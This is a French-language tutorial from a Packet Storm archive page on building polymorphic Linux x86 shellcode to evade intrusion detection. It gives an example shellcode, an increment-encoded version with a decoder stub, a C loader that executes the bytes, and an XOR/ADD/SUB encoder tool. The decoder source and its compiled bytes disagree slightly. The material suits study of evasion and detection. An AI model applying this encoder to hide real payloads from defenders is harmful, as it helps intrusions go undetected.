ignorance isn't always an option

how-to-create-polymorphic-shellcode.txt

how-to-create-polymorphic-shellcode.txt
Posted Jul 8, 2010
Authored by Jonathan Salwan | Site shell-storm.org

Whitepaper called How to create a polymorphic shellcode.

tags | paper, shellcode
MD5 | d32aba7d09c41aceb47ebf19f3412344

how-to-create-polymorphic-shellcode.txt

Change Mirror Download
  

Title: How to create a polymorphic shellcode ?
Author: Jonathan Salwan <submit ! shell-storm.org>
Web: http://www.shell-storm.org/ | http://twitter.com/shell_storm
Date: 2010-06-14
Language: French

Original version: http://howto.shell-storm.org/files/howto-2.php



I - Présentation du polymorphisme
==================================

Le mot polymorphisme vient du grec et signifie plusieurs formes. Ce terme a été employé en
informatique pour la première fois par un pirate bulgare portant le pseudonyme Dark Avenger,
ce dernier ayant créé en 1992 le premier virus polymorphique.

L'objectif du code polymorphique est d'éviter la détection tout en s'adaptant aux modèles,
c'est-à-dire à certains traits caractéristiques permettant d'identifier un code donné.

Le polymorphisme est utilisé dans les shellcodes pour camoufler les attaques sur un réseau.
Il est vrai que de nos jours les IDS (Intrusion Detection System) répertorient la plupart
des structures de shellcodes. (exemple: push /bin/sh, etc...).
C'est pourquoi le polymorphisme permet de passer outre cette détection.



II - Structure d'un shellcode polymorphique
===========================================

Pour éviter les détections notre shellcode devra être encodé mais pour qu'il fonctionne
correctement nous devons lui ajouter un décodeur.

La structure sera comme ci-dessous:


+------------+--------------------+
| DECODEUR | SHELLCODE ENCODE |
+------------+--------------------+
<--Notre shellcode polymorphique-->


Prenons par exemple le shellcode présenté dans le Howto n1 (_write)

xor %eax,%eax
xor %ebx,%ebx
xor %ecx,%ecx
xor %edx,%edx
movb $0x9,%dl
pushl $0x0a
push $0x6e616874
push $0x616e6f6a
movl %esp,%ecx
movb $0x1,%bl
movb $0x4,%al
int $0x80
xor %ebx,%ebx
movb $0x1,%al
int $0x80

En hexadecimal ce shellcode donne:

"\x31\xc0\x31\xdb\x31\xc9"
"\x31\xd2\xb2\x09\x6a\x0a"
"\x68\x74\x68\x61\x6e\x68"
"\x6a\x6f\x6e\x61\x89\xe1"
"\xb3\x01\xb0\x04\xcd\x80"
"\x31\xdb\xb0\x01\xcd\x80"

Ok, maintenant imaginons que notre IDS est programmé pour détecter cette suite d'instruction.
Nous allons donc devoir l'encoder, pour ça commencons par incrémenter de 1 notre shellcode.

Ce qui va donner:

"\x32\xc1\x32\xdc\x32\xca"
"\x32\xd3\xb3\x0a\x6b\x0b"
"\x69\x75\x69\x62\x6f\x69"
"\x6b\x70\x6f\x62\x8a\xe2"
"\xb4\x02\xb1\x05\xce\x81"
"\x32\xdc\xb1\x02\xce\x81"

Une fois notre shellcode encodé nous devons lui rajouter le décodeur, comme vous l'avez sûrement
compris, le décodeur devra décrémenter de 1 notre suite d'instrution.

Voici les sources d'un décodeur

BITS 32

jmp short three

one:
pop esi
xor ecx, ecx
mov cl, 36 ; On place dans %cl la taille de notre shellcode

two:
sub byte [esi + ecx -1 ], 0 ; on décrémente de 1 notre chaîne
sub cl,1 ; on décrémente de 1 la taille de la chaîne
jnz two ; on test si %cl est à 0 (si c'est la fin de notre chaîne)
jmp short four ; si c'est le cas on sort de la boucle

three:
call one

four:

Compilons notre décodeur:

jonathan@ArchLinux [test]$ nasm -f elf decodeur.s
jonathan@ArchLinux [test]$ ls
decodeur.o decodeur.s
jonathan@ArchLinux [test]$ ld -o decodeur decodeur.o
ld: warning: cannot find entry symbol _start; defaulting to 08048060
jonathan@ArchLinux [test]$ objdump -d decodeur

main: file format elf32-i386


Disassembly of section .text:

08048060 <one-0x2>:
8048060: eb 11 jmp 8048073 <three>

08048062 <one>:
8048062: 5e pop %esi
8048063: 31 c9 xor %ecx,%ecx
8048065: b1 24 mov $0x24,%cl

08048067 <two>:
8048067: 80 6c 0e ff 00 subb $0x0,-0x1(%esi,%ecx,1)
804806c: 80 e9 01 sub $0x1,%cl
804806f: 75 f6 jne 8048067 <two>
8048071: eb 05 jmp 8048078 <four>

08048073 <three>:
8048073: e8 ea ff ff ff call 8048062 <one>



Maintenant rajoutons notre décodeur au shellcode déjà encodé:


#include <stdio.h>

char SC[] = //Décodeur
"\xeb\x11\x5e\x31\xc9\xb1\x24\x80"
"\x6c\x0e\xff\x01\x80\xe9\x01\x75"
"\xf6\xeb\x05\xe8\xea\xff\xff\xff"

//Shellcode encodé
"\x32\xc1\x32\xdc\x32\xca\x32\xd3"
"\xb3\x0a\x6b\x0b\x69\x75\x69\x62"
"\x6f\x69\x6b\x70\x6f\x62\x8a\xe2"
"\xb4\x02\xb1\x05\xce\x81\x32\xdc"
"\xb1\x02\xce\x81";

int main(void)
{
printf("Length: %d\n",strlen(SC));
(*(void(*)()) SC)();
}


Testons notre shellcode polymorphique

jonathan@ArchLinux [test]$ cat main.c
#include <stdio.h>

char SC[] = //Décodeur
"\xeb\x11\x5e\x31\xc9\xb1\x24\x80"
"\x6c\x0e\xff\x01\x80\xe9\x01\x75"
"\xf6\xeb\x05\xe8\xea\xff\xff\xff"

//Shellcode encodé
"\x32\xc1\x32\xdc\x32\xca\x32\xd3"
"\xb3\x0a\x6b\x0b\x69\x75\x69\x62"
"\x6f\x69\x6b\x70\x6f\x62\x8a\xe2"
"\xb4\x02\xb1\x05\xce\x81\x32\xdc"
"\xb1\x02\xce\x81";

int main(void)
{
printf("Length: %d\n",strlen(SC));
(*(void(*)()) SC)();
}

jonathan@ArchLinux [test]$ gcc -o main main.c
main.c: In function 'main':
main.c:17:31: warning: incompatible implicit declaration of built-in function 'strlen'
jonathan@ArchLinux [test]$ ./main
Length: 60
jonathan
jonathan@ArchLinux [test]$


Et voilà notre shellcode a été executé sans aucun problème avec une taille de 60 bytes.
Il existe plusieurs types d'encodage pour camoufler votre shellcode les principaux sont:

- Addition
- Soustraction
- Xor

Après il vous est possible de créer votre propre algorythme pour encoder vos shellcodes.



III - Extras
============

Je ne vous cache pas que c'est long et chiant d'encoder des shellcode, c'est pourquoi
dans cette section je vais vous laisser un outil qui vous facilitera la vie.

/*
Writed by Jonathan Salwan - shell-storm.org
Original source: http://www.shell-storm.org/shellcode/files/shellcode-649.php
*/

#include <stdio.h>
#include <stdio.h>

unsigned char your_SC[] = "\x31\xc0\x31\xdb\x31\xc9"
"\x31\xd2\xb2\x09\x6a\x0a"
"\x68\x74\x68\x61\x6e\x68"
"\x6a\x6f\x6e\x61\x89\xe1"
"\xb3\x01\xb0\x04\xcd\x80"
"\x31\xdb\xb0\x01\xcd\x80";


void syntax(void)
{
fprintf(stdout,"\nSyntax: ./encode <type> <value>\n\n");
fprintf(stdout,"Type: -xor\n");
fprintf(stdout," -add\n");
fprintf(stdout," -sub\n\n");
fprintf(stdout,"Exemple: ./encode -xor 10\n\n");
exit(1);
}

int main(int argc, char *argv[])
{
if(argc != 3){
syntax();
return 1;
}


if(!strcmp(argv[1], "-xor"))
{
fprintf(stdout,"Encode : XOR %s\n", argv[2]);
fprintf(stdout,"Encoded: \n");

fprintf(stdout,"\\xeb\\x11\\x5e\\x31\\xc9\\xb1\\x%x\\x80"
"\\x74\\x0e\\xff\\x%.2x\\x80\\xe9\\x01\\x75"
"\\xf6\\xeb\\x05\\xe8\\xea\\xff\\xff\\xff"
,strlen(your_SC), atoi(argv[2]));

for (int i=0;i<sizeof(your_SC)-1;i++){
your_SC[i] = your_SC[i]^atoi(argv[2]);
fprintf(stdout,"\\x%.2x", your_SC[i]);
}
fprintf(stdout,"\n");
}


if(!strcmp(argv[1], "-add"))
{
fprintf(stdout,"Encode : ADD %s\n", argv[2]);
fprintf(stdout,"Encoded: \n");

fprintf(stdout,"\\xeb\\x11\\x5e\\x31\\xc9\\xb1\\x%x\\x80"
"\\x6c\\x0e\\xff\\x%.2x\\x80\\xe9\\x01\\x75"
"\\xf6\\xeb\\x05\\xe8\\xea\\xff\\xff\\xff"
,strlen(your_SC), atoi(argv[2]));

for (int i=0;i<sizeof(your_SC)-1;i++){
your_SC[i] = your_SC[i]+atoi(argv[2]);
fprintf(stdout,"\\x%.2x", your_SC[i]);
}
fprintf(stdout,"\n");
}

if(!strcmp(argv[1], "-sub"))
{
fprintf(stdout,"Encode : SUB %s\n", argv[2]);
fprintf(stdout,"Encoded: \n");

fprintf(stdout,"\\xeb\\x11\\x5e\\x31\\xc9\\xb1\\x%x\\x80"
"\\x44\\x0e\\xff\\x%.2x\\x80\\xe9\\x01\\x75"
"\\xf6\\xeb\\x05\\xe8\\xea\\xff\\xff\\xff"
,strlen(your_SC), atoi(argv[2]));

for (int i=0;i<sizeof(your_SC)-1;i++){
your_SC[i] = your_SC[i]-atoi(argv[2]);
fprintf(stdout,"\\x%.2x", your_SC[i]);
}
fprintf(stdout,"\n");
}

return 0;
}



IV - Références
===============

[x] - http://www.shell-storm.org

[1] - http://www.shell-storm.org/papers/files/427.pdf

[2] - http://howto.shell-storm.org/files/howto-1.php


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close